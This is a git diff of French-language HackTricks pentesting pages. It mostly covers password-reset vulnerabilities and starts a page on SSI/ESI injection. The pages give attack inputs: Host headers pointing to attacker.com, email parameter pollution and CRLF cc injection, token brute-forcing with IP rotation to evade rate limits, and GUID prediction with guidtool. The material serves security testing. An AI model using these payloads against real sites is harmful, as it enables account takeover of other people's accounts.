* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
|
||||
**Aperçus de Piratage**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
**Nouvelles de Piratage en Temps Réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
La compilation des techniques suivantes a été prise sur [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
La compilation des techniques suivantes a été prise de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
|
||||
## Fuite de jeton de réinitialisation de mot de passe via le référent
|
||||
## Fuite de Token de Réinitialisation de Mot de Passe Via Référent
|
||||
|
||||
Le **référent HTTP** est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page web liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
|
||||
Le **HTTP referer** est un champ d'en-tête HTTP optionnel qui identifie l'adresse de la page web qui est liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
|
||||
|
||||
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
||||
|
||||
|
@ -41,12 +43,12 @@ Le **référent HTTP** est un champ d'en-tête HTTP facultatif qui identifie l'a
|
|||
* Cliquez sur le lien de réinitialisation du mot de passe
|
||||
* Ne changez pas le mot de passe
|
||||
* Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
|
||||
* Interceptez la requête dans le proxy Burp Suite
|
||||
* Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.
|
||||
* Interceptez la requête dans le proxy Burpsuite
|
||||
* Vérifiez si l'en-tête referer fuite le token de réinitialisation du mot de passe.
|
||||
|
||||
### Impact
|
||||
|
||||
Cela permet à la personne qui contrôle un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le jeton de réinitialisation du mot de passe de l'utilisateur.
|
||||
Cela permet à la personne qui a le contrôle d'un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le token de réinitialisation du mot de passe de l'utilisateur.
|
||||
|
||||
### Référence :
|
||||
|
||||
|
@ -56,15 +58,15 @@ Cela permet à la personne qui contrôle un site particulier de changer le mot d
|
|||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||||
|
||||
## Poisoning de réinitialisation de mot de passe
|
||||
## Empoisonnement de Réinitialisation de Mot de Passe
|
||||
|
||||
Si vous trouvez une attaque d'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation de mot de passe !
|
||||
Si vous trouvez une attaque de l'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation du mot de passe !
|
||||
|
||||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Interceptez la demande de réinitialisation de mot de passe dans Burpsuite
|
||||
* Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
|
||||
* Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
|
||||
```
|
||||
Host: attacker.com
|
||||
|
@ -79,7 +81,7 @@ X-Forwarded-Host: attacker.com
|
|||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
* Vérifiez si le lien pour changer le mot de passe dans l'e-mail pointe vers attacker.com
|
||||
* Vérifiez si le lien pour changer le mot de passe dans l'email pointe vers attacker.com
|
||||
|
||||
### Correctif
|
||||
|
||||
|
@ -89,9 +91,9 @@ $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12
|
|||
```
|
||||
### Impact
|
||||
|
||||
La victime recevra le lien malveillant dans son courrier électronique et, lorsqu'elle cliquera dessus, elle divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, ce qui entraînera la prise de contrôle complète du compte.
|
||||
La victime recevra le lien malveillant dans son email et, en cliquant dessus, divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, menant à la prise de contrôle complète du compte.
|
||||
|
||||
### Référence:
|
||||
### Référence :
|
||||
|
||||
* https://hackerone.com/reports/226659
|
||||
* https://hackerone.com/reports/167631
|
||||
|
@ -99,47 +101,47 @@ La victime recevra le lien malveillant dans son courrier électronique et, lorsq
|
|||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||||
|
||||
## Réinitialisation du mot de passe en manipulant le paramètre de courrier électronique
|
||||
## Réinitialisation du mot de passe en manipulant le paramètre Email
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Ajouter l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant &
|
||||
* Ajouter l'email de l'attaquant comme second paramètre en utilisant &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant %20
|
||||
* Ajouter l'email de l'attaquant comme second paramètre en utilisant %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant |
|
||||
* Ajouter l'email de l'attaquant comme second paramètre en utilisant |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant cc
|
||||
* Ajouter l'email de l'attaquant comme second paramètre en utilisant cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant bcc
|
||||
* Ajouter l'email de l'attaquant comme second paramètre en utilisant bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant ,
|
||||
* Ajoutez l'email de l'attaquant comme second paramètre en utilisant ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre dans le tableau JSON
|
||||
* Ajouter l'email de l'attaquant comme second paramètre dans le tableau json
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
@ -151,13 +153,13 @@ POST /resetPassword
|
|||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||||
|
||||
## Modification de l'e-mail et du mot de passe de n'importe quel utilisateur via les paramètres de l'API
|
||||
## Changement de l'Email et du Mot de passe de n'importe quel Utilisateur via les Paramètres de l'API
|
||||
|
||||
### Exploitation
|
||||
|
||||
* L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité de modification du mot de passe
|
||||
* L'attaquant doit se connecter avec son compte et aller à la fonction de changement de mot de passe
|
||||
* Démarrer Burp Suite et intercepter la requête
|
||||
* Après avoir intercepté la requête, l'envoyer à Repeater et modifier les paramètres E-mail et Mot de passe
|
||||
* Après avoir intercepté la requête, l'envoyer au répéteur et modifier les paramètres Email et Mot de passe
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
|
@ -167,11 +169,11 @@ POST /api/changepass
|
|||
|
||||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||||
|
||||
### Pas de limitation de taux : Bombardement d'e-mails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
### Pas de limitation de taux : Bombardement d'emails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Démarrez Burp Suite et interceptez la demande de réinitialisation de mot de passe
|
||||
* Lancez Burp Suite et interceptez la demande de réinitialisation de mot de passe
|
||||
* Envoyez à l'intrus
|
||||
* Utilisez une charge utile nulle
|
||||
|
||||
|
@ -186,14 +188,14 @@ Découvrez le modèle du jeton de réinitialisation de mot de passe
|
|||
|
||||
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
||||
|
||||
Si cela
|
||||
Si c'est
|
||||
|
||||
* Généré en fonction de l'horodatage
|
||||
* Généré en fonction de l'ID utilisateur
|
||||
* Généré en fonction de l'e-mail de l'utilisateur
|
||||
* Généré en fonction du prénom et du nom de famille
|
||||
* Généré en fonction de la date de naissance
|
||||
* Généré en fonction de la cryptographie
|
||||
* Généré sur la base du Timestamp
|
||||
* Généré sur la base de l'UserID
|
||||
* Généré sur la base de l'email de l'utilisateur
|
||||
* Généré sur la base du Prénom et du Nom
|
||||
* Généré sur la base de la Date de Naissance
|
||||
* Généré sur la base de la Cryptographie
|
||||
|
||||
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
|
||||
|
||||
|
@ -201,16 +203,16 @@ Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jeto
|
|||
|
||||
Il existe différents types de GUID :
|
||||
|
||||
* **Version 0 :** Seulement visible dans le GUID nul ("00000000-0000-0000-0000-000000000000").
|
||||
* **Version 1 :** Le GUID est généré de manière prévisible en fonction de :
|
||||
* **Version 0 :** Seulement vu dans le GUID nul ("00000000-0000-0000-0000-000000000000").
|
||||
* **Version 1 :** Le GUID est généré de manière prévisible sur la base de :
|
||||
* L'heure actuelle
|
||||
* Une "séquence d'horloge" générée de manière aléatoire qui reste constante entre les GUID pendant le temps de fonctionnement du système générateur
|
||||
* Un "ID de nœud", qui est généré en fonction de l'adresse MAC du système si elle est disponible
|
||||
* **Version 3 :** Le GUID est généré à l'aide d'un hachage MD5 d'un nom et d'un espace de noms fournis.
|
||||
* **Version 4 :** Le GUID est généré de manière aléatoire.
|
||||
* **Version 5 :** Le GUID est généré à l'aide d'un hachage SHA1 d'un nom et d'un espace de noms fournis.
|
||||
* Une "séquence d'horloge" générée aléatoirement qui reste constante entre les GUID pendant le temps de fonctionnement du système générant
|
||||
* Un "ID de nœud", qui est généré sur la base de l'adresse MAC du système s'il est disponible
|
||||
* **Version 3 :** Le GUID est généré en utilisant un hachage MD5 d'un nom et d'un espace de noms fournis.
|
||||
* **Version 4 :** Le GUID est généré aléatoirement.
|
||||
* **Version 5 :** Le GUID est généré en utilisant un hachage SHA1 d'un nom et d'un espace de noms fournis.
|
||||
|
||||
Il est possible de regarder un GUID et de déterminer sa version, il existe un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
||||
Il est possible de regarder un GUID et de découvrir sa version, il existe un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)****
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
|
@ -220,7 +222,7 @@ UUID node: 17547390002044
|
|||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de faire une attaque par force brute sur les GUIDs :
|
||||
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de forcer brutalement les GUID :
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
|
@ -230,53 +232,27 @@ a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|||
|
||||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||||
|
||||
## Manipulation de la réponse : Remplacer une mauvaise réponse par une bonne
|
||||
## Manipulation de réponse : Remplacer une mauvaise réponse par une bonne
|
||||
|
||||
Recherchez des requêtes et des réponses comme celles-ci
|
||||
Cherchez des requêtes et des réponses comme celles-ci
|
||||
```php
|
||||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
# Réinitialisation du mot de passe
|
||||
|
||||
Lors d'un test de pénétration, il est souvent utile d'explorer les fonctionnalités de réinitialisation de mot de passe d'une application web. Cette fonctionnalité permet aux utilisateurs de récupérer l'accès à leur compte en cas d'oubli de leur mot de passe.
|
||||
|
||||
Cependant, il est important de vérifier la sécurité de cette fonctionnalité pour éviter toute exploitation malveillante. Voici quelques points à prendre en compte lors de l'évaluation de la réinitialisation du mot de passe :
|
||||
|
||||
## 1. Vérifier les contrôles d'authentification
|
||||
|
||||
Assurez-vous que la réinitialisation du mot de passe nécessite une authentification appropriée. Les utilisateurs doivent prouver qu'ils sont bien les propriétaires du compte avant de pouvoir réinitialiser leur mot de passe. Cela peut être fait en demandant des informations supplémentaires, telles que la réponse à une question de sécurité ou l'envoi d'un code de vérification à l'adresse e-mail associée au compte.
|
||||
|
||||
## 2. Éviter les fuites d'informations
|
||||
|
||||
Assurez-vous que le processus de réinitialisation du mot de passe ne divulgue pas d'informations sensibles. Par exemple, si un utilisateur fournit une adresse e-mail incorrecte lors de la réinitialisation, l'application ne doit pas révéler que cette adresse e-mail n'est pas associée à un compte existant. Cela pourrait aider un attaquant à identifier des comptes valides.
|
||||
|
||||
## 3. Protéger contre les attaques par force brute
|
||||
|
||||
Mettez en place des mesures de protection contre les attaques par force brute lors de la réinitialisation du mot de passe. Cela peut inclure des mécanismes de verrouillage du compte après un certain nombre de tentatives infructueuses ou l'utilisation de captchas pour vérifier que l'utilisateur est humain.
|
||||
|
||||
## 4. Vérifier les liens de réinitialisation
|
||||
|
||||
Assurez-vous que les liens de réinitialisation du mot de passe sont uniques, aléatoires et expirés après une période de temps définie. Cela empêche les attaquants de deviner ou de réutiliser les liens de réinitialisation pour accéder aux comptes des utilisateurs.
|
||||
|
||||
## 5. Surveiller les journaux d'activité
|
||||
|
||||
Enregistrez les activités liées à la réinitialisation du mot de passe, telles que les tentatives réussies ou infructueuses. Cela permet de détecter toute activité suspecte ou malveillante et de prendre les mesures appropriées.
|
||||
|
||||
En suivant ces bonnes pratiques, vous pouvez renforcer la sécurité de la fonctionnalité de réinitialisation du mot de passe de votre application web et protéger les comptes des utilisateurs contre les attaques.
|
||||
Changer la réponse
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
```
|
||||
### Référence
|
||||
|
||||
* https://medium.com/@innocenthacker/comment-jai-trouvé-le-bug-le-plus-critique-dans-un-événement-live-de-chasse-aux-bugs-7a88b3aa97b3
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### Utilisation d'un jeton expiré <a href="#8-utilisation-dun-jeton-expiré" id="8-utilisation-dun-jeton-expiré"></a>
|
||||
### Utilisation d'un jeton expiré <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* Vérifiez si le jeton expiré peut être réutilisé
|
||||
|
||||
### Brute Force du jeton de réinitialisation de mot de passe <a href="#9-brute-force-du-jeton-de-réinitialisation-de-mot-de-passe" id="9-brute-force-du-jeton-de-réinitialisation-de-mot-de-passe"></a>
|
||||
### Forcer le jeton de réinitialisation du mot de passe <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite
|
||||
```php
|
||||
|
@ -284,15 +260,13 @@ POST /resetPassword
|
|||
[...]
|
||||
email=victim@email.com&code=$BRUTE$
|
||||
```
|
||||
* Utilisez IP-Rotator sur burpsuite pour contourner la limite de taux basée sur l'adresse IP.
|
||||
|
||||
### Référence
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
### Essayez d'utiliser votre jeton <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime.
|
||||
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
@ -302,46 +276,48 @@ email=victim@email.com&code=$YOUR_TOKEN$
|
|||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
## Invalidité de session lors de la déconnexion/réinitialisation du mot de passe
|
||||
## Invalid**ation de session** lors de la Déconnexion/Réinitialisation de mot de passe
|
||||
|
||||
Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session en cours doit être invalidée.\
|
||||
Par conséquent, récupérez les cookies pendant que l'utilisateur est connecté, déconnectez-vous et vérifiez si les cookies sont toujours valides.\
|
||||
Répétez le processus en changeant le mot de passe au lieu de vous déconnecter.
|
||||
Lorsqu'un utilisateur se **déconnecte ou réinitialise son mot de passe**, la session actuelle doit être invalidée.\
|
||||
Ainsi, **capturez les cookies** pendant que l'utilisateur est connecté, **déconnectez-vous**, et **vérifiez** si les **cookies** sont toujours **valides**.\
|
||||
Répétez le processus en **changeant le mot de passe** au lieu de vous déconnecter.
|
||||
|
||||
## Temps d'expiration du jeton de réinitialisation
|
||||
## Temps d'expiration du Token de réinitialisation
|
||||
|
||||
Les jetons de réinitialisation doivent avoir une durée de validité, après quoi le jeton ne doit plus être valide pour changer le mot de passe d'un utilisateur.
|
||||
Les **tokens de réinitialisation doivent avoir un temps d'expiration**, après cela le token ne devrait plus être valide pour changer le mot de passe d'un utilisateur.
|
||||
|
||||
## Vérifications supplémentaires
|
||||
|
||||
* Utilisez username@burp\_collab.net et analysez le rappel
|
||||
* Utilisateur en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Un mot de passe long (>200) entraîne un déni de service (DoS)
|
||||
* Ajoutez un deuxième paramètre et une valeur d'e-mail
|
||||
* Utilisez username@burp\_collab.net et analysez le callback
|
||||
* Email en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Mot de passe long (>200) entraîne un DoS
|
||||
* Ajoutez un second paramètre email et sa valeur
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage.
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel.
|
||||
**Nouvelles de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme.
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
## Injection d'inclusion côté serveur / côté bord
|
||||
# Injection de Server Side Inclusion/Edge Side Inclusion
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base sur l'inclusion côté serveur
|
||||
## Informations de base sur Server Side Inclusion
|
||||
|
||||
Les SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Ils vous permettent d'**ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.\
|
||||
Par exemple, vous pouvez placer une directive dans une page HTML existante, comme :
|
||||
Les SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Elles vous permettent **d'ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir toute la page via un programme CGI ou une autre technologie dynamique.\
|
||||
Par exemple, vous pourriez placer une directive dans une page HTML existante, telle que :
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
|
@ -23,9 +25,9 @@ Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa va
|
|||
|
||||
`Mardi, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
